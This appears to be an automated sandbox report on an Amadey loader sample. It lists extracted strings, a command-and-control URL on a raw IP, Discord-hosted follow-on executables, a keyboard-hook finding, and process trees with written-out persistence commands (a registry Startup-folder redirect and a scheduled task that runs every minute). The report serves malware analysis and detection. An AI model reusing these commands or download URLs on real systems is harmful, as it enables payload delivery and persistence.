Source: rnyuf.exe, 00000005.00000002.938675353.00000000013A6000.00000004.00000020.sdmp	String found in binary or memory: http://46.17.96.36/k8FppT/index.php1
Source: rnyuf.exe, 00000005.00000002.989859171.00000000046E2000.00000004.00000001.sdmp, rnyuf.exe, 00000005.00000002.938675353.00000000013A6000.00000004.00000020.sdmp, rnyuf.exe, 00000005.00000003.667374060.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: http://46.17.96.36/k8FppT/index.php?scr=1
Source: rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: http://46.17.96.36/k8FppT/index.php?scr=1/
Source: rnyuf.exe, 00000005.00000003.670823365.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: http://46.17.96.36/k8FppT/index.php?scr=13
Source: rnyuf.exe, 00000005.00000003.675356425.00000000013E0000.00000004.00000001.sdmp	String found in binary or memory: http://46.17.96.36/k8FppT/index.php?scr=1=1
Source: rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: http://46.17.96.36/k8FppT/index.php?scr=1?
Source: rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: http://46.17.96.36/k8FppT/index.php?scr=1G
Source: rnyuf.exe, 00000005.00000003.671834132.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: http://46.17.96.36/k8FppT/index.php?scr=1K
Source: rnyuf.exe, 00000005.00000002.938675353.00000000013A6000.00000004.00000020.sdmp	String found in binary or memory: http://46.17.96.36/k8FppT/index.php?scr=1Users
Source: rnyuf.exe, 00000005.00000003.670823365.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: http://46.17.96.36/k8FppT/index.php?scr=1_
Source: rnyuf.exe, 00000005.00000002.938675353.00000000013A6000.00000004.00000020.sdmp	String found in binary or memory: http://46.17.96.36/k8FppT/index.php?scr=1l
Source: rnyuf.exe, 00000005.00000003.669850855.00000000013A6000.00000004.00000001.sdmp	String found in binary or memory: http://46.17.96.36/k8FppT/index.php?scr=1m7.
Source: rnyuf.exe, 00000005.00000002.996019062.0000000004707000.00000004.00000001.sdmp	String found in binary or memory: http://46.17.96.36/k8FppT/index.php?scr=1mpA
Source: rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: http://46.17.96.36/k8FppT/index.php?scr=1o
Source: rnyuf.exe, 00000005.00000003.669850855.00000000013A6000.00000004.00000001.sdmp	String found in binary or memory: http://46.17.96.36/k8FppT/index.php?scr=1p6
Source: rnyuf.exe, 00000005.00000002.938675353.00000000013A6000.00000004.00000020.sdmp	String found in binary or memory: http://46.17.96.36/k8FppT/index.php?scr=1qk6jl
Source: rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: http://46.17.96.36/k8FppT/index.php?scr=1s
Source: rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: http://46.17.96.36/k8FppT/index.phpP
Source: rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/CloudflareIncECCCA-3.crt0
Source: rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: http://cdn.discordapp.com/attachments/880877737378734114/880877786884112404/1sb1iwyem7.exe
Source: rnyuf.exe, 00000005.00000003.667374060.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: http://cdn.discordapp.com/attachments/880877737378734114/880877786884112404/1sb1iwyem7.exe(
Source: rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: http://cdn.discordapp.com/attachments/880877737378734114/880877786884112404/1sb1iwyem7.exeH
Source: rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: http://cdn.discordapp.com/attachments/880877737378734114/880877786884112404/1sb1iwyem7.exed
Source: rnyuf.exe, 00000005.00000002.927011329.000000000131A000.00000004.00000020.sdmp	String found in binary or memory: http://cdn.discordapp.com/attachments/880877737378734114/880877786884112404/1sb1iwyem7.exen
Source: rnyuf.exe, 00000005.00000002.989859171.00000000046E2000.00000004.00000001.sdmp	String found in binary or memory: http://cdn.discordapp.com/attachments/880877737378734114/880877802512060426/5mgcqk6jl.exe
Source: rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/CloudflareIncECCCA-3.crl07
Source: rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0m
Source: rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/CloudflareIncECCCA-3.crl0
Source: rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com/CPS0v
Source: rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/
Source: rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/N
Source: rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/880877737378734114/880877786884112404/1sb1iwyem7.exe
Source: rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/880877737378734114/880877786884112404/1sb1iwyem7.exeJ
Source: rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/880877737378734114/880877786884112404/1sb1iwyem7.exeW
Source: rnyuf.exe, 00000005.00000002.989859171.00000000046E2000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/880877737378734114/880877802512060426/5mgcqk6jl.exe
Source: rnyuf.exe, 00000005.00000003.667402130.00000000013A6000.00000004.00000001.sdmp	String found in binary or memory: https://report-uri.clo
Source: rnyuf.exe, 00000005.00000003.667374060.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct
Source: rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown

HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: cdn.discordapp.com

Source: C:\Users\user\AppData\Local\Temp\a.exe

Code function: 3_2_01006980 InternetCloseHandle,CreateFileA,InternetOpenA,InternetOpenUrlA,InternetReadFile,CloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

3_2_01006980

Source: global traffic	HTTP traffic detected: GET /attachments/880877737378734114/880877786884112404/1sb1iwyem7.exe HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /attachments/880877737378734114/880877802512060426/5mgcqk6jl.exe HTTP/1.1Host: cdn.discordapp.com

Source: unknown

HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.4:49737 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Contains functionality to register a low level keyboard hook

Show sources

Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe

Code function: 13_2_00408D9C SetWindowsHookExW 00000002,Function_00008D6E,00000000,00000000

13_2_00408D9C

Source: a.exe, 00000003.00000002.662339691.000000000141A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

.NET source code contains very large array initializations

Show sources

Source: mvoElayshk.exe, Program.cs	Large array initialization: .cctor: array initializer size 203264
Source: 0.0.mvoElayshk.exe.280000.0.unpack, Program.cs	Large array initialization: .cctor: array initializer size 203264
Source: 0.2.mvoElayshk.exe.280000.0.unpack, Program.cs	Large array initialization: .cctor: array initializer size 203264

Source: mvoElayshk.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\Desktop\mvoElayshk.exe	Code function: 0_2_00284800	0_2_00284800
Source: C:\Users\user\Desktop\mvoElayshk.exe	Code function: 0_2_002A0850	0_2_002A0850
Source: C:\Users\user\Desktop\mvoElayshk.exe	Code function: 0_2_00295187	0_2_00295187
Source: C:\Users\user\Desktop\mvoElayshk.exe	Code function: 0_2_002A3B87	0_2_002A3B87
Source: C:\Users\user\Desktop\mvoElayshk.exe	Code function: 0_2_002A3CA7	0_2_002A3CA7
Source: C:\Users\user\Desktop\mvoElayshk.exe	Code function: 0_2_002A5EB0	0_2_002A5EB0
Source: C:\Users\user\Desktop\mvoElayshk.exe	Code function: 0_2_002A4EFD	0_2_002A4EFD
Source: C:\Users\user\AppData\Local\Temp\a.exe	Code function: 3_2_010031C0	3_2_010031C0
Source: C:\Users\user\AppData\Local\Temp\a.exe	Code function: 3_2_01024870	3_2_01024870
Source: C:\Users\user\AppData\Local\Temp\a.exe	Code function: 3_2_010238BD	3_2_010238BD
Source: C:\Users\user\AppData\Local\Temp\a.exe	Code function: 3_2_01013B47	3_2_01013B47
Source: C:\Users\user\AppData\Local\Temp\a.exe	Code function: 3_2_0101F210	3_2_0101F210
Source: C:\Users\user\AppData\Local\Temp\a.exe	Code function: 3_2_01022547	3_2_01022547
Source: C:\Users\user\AppData\Local\Temp\a.exe	Code function: 3_2_01022667	3_2_01022667
Source: C:\Users\user\AppData\Local\Temp\a.exe	Code function: 3_2_0101F6A8	3_2_0101F6A8
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 5_2_00F238BD	5_2_00F238BD
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 5_2_00F24870	5_2_00F24870
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 5_2_00F031C0	5_2_00F031C0
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 5_2_00F1F210	5_2_00F1F210
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 5_2_00F13B47	5_2_00F13B47
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 5_2_00F22667	5_2_00F22667
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 5_2_00F1F76B	5_2_00F1F76B
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 11_2_00F238BD	11_2_00F238BD
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 11_2_00F24870	11_2_00F24870
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 11_2_00F031C0	11_2_00F031C0
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 11_2_00F1F210	11_2_00F1F210
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 11_2_00F13B47	11_2_00F13B47
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 11_2_00F22547	11_2_00F22547
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 11_2_00F04EF0	11_2_00F04EF0
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 11_2_00F1F6A8	11_2_00F1F6A8
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 11_2_00F22667	11_2_00F22667
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_00406024	13_2_00406024
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_0041C873	13_2_0041C873
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_0041A836	13_2_0041A836
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_0040B140	13_2_0040B140
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_004171F6	13_2_004171F6
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_0040B9A0	13_2_0040B9A0
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_0040AAA0	13_2_0040AAA0
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_0040B350	13_2_0040B350
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_0040A3F0	13_2_0040A3F0
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_0041543A	13_2_0041543A
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_0040C4E0	13_2_0040C4E0
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_0041C501	13_2_0041C501
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_0041BD00	13_2_0041BD00
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_0041C5DB	13_2_0041C5DB
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_0040A5B0	13_2_0040A5B0
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_00410740	13_2_00410740
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_00405729	13_2_00405729
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_0040FFD8	13_2_0040FFD8
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_00406024	16_2_00406024
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_0041C873	16_2_0041C873
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_0041A836	16_2_0041A836
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_0040B140	16_2_0040B140
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_004171F6	16_2_004171F6
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_0040B9A0	16_2_0040B9A0
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_0040AAA0	16_2_0040AAA0
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_0040B350	16_2_0040B350
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_0040A3F0	16_2_0040A3F0
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_0041543A	16_2_0041543A
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_0040C4E0	16_2_0040C4E0
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_0041C501	16_2_0041C501
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_0041BD00	16_2_0041BD00
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_0041C5DB	16_2_0041C5DB
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_0040A5B0	16_2_0040A5B0
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_00410740	16_2_00410740
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_00405729	16_2_00405729
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_0040FFD8	16_2_0040FFD8

Source: C:\Users\user\AppData\Local\Temp\a.exe	Code function: String function: 0100EF20 appears 89 times
Source: C:\Users\user\AppData\Local\Temp\a.exe	Code function: String function: 010105E0 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: String function: 0041C19E appears 34 times
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: String function: 00404F59 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: String function: 0041C160 appears 48 times
Source: C:\Users\user\Desktop\mvoElayshk.exe	Code function: String function: 00290560 appears 89 times
Source: C:\Users\user\Desktop\mvoElayshk.exe	Code function: String function: 00291C20 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: String function: 00F15F3B appears 46 times
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: String function: 00F0EF20 appears 180 times
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: String function: 00F105E0 appears 78 times

Source: mvoElayshk.exe, 00000000.00000002.659185876.00000000002B6000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameamadey.exe4 vs mvoElayshk.exe
Source: mvoElayshk.exe, 00000000.00000002.659238935.0000000000709000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs mvoElayshk.exe
Source: mvoElayshk.exe	Binary or memory string: OriginalFilenameamadey.exe4 vs mvoElayshk.exe

Source: 1sb1iwyem7[1].exe0.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 1sb1iwyem7.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 5mgcqk6jl[1].exe0.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 5mgcqk6jl.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\4c423bc94e\

Source: mvoElayshk.exe	Virustotal: Detection: 55%
Source: mvoElayshk.exe	ReversingLabs: Detection: 69%

Source: mvoElayshk.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\mvoElayshk.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\mvoElayshk.exe 'C:\Users\user\Desktop\mvoElayshk.exe'
Source: C:\Users\user\Desktop\mvoElayshk.exe	Process created: C:\Users\user\AppData\Local\Temp\a.exe 'C:\Users\user\AppData\Local\Temp\a.exe'
Source: C:\Users\user\AppData\Local\Temp\a.exe	Process created: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe 'C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe'
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\4c423bc94e\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR 'C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe' /F
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\4c423bc94e\
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Process created: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe'
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe''
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe'
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe''
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe TaskList /fo CSV /nh
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe TaskKill /pid 6268 /t /f
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe'
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe''
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe TaskList /fo CSV /nh
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe'
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe'
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe''
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe''
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe TaskList /fo CSV /nh
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe TaskList /fo CSV /nh
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe TaskKill /pid 3184 /t /f
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe'
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe''
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
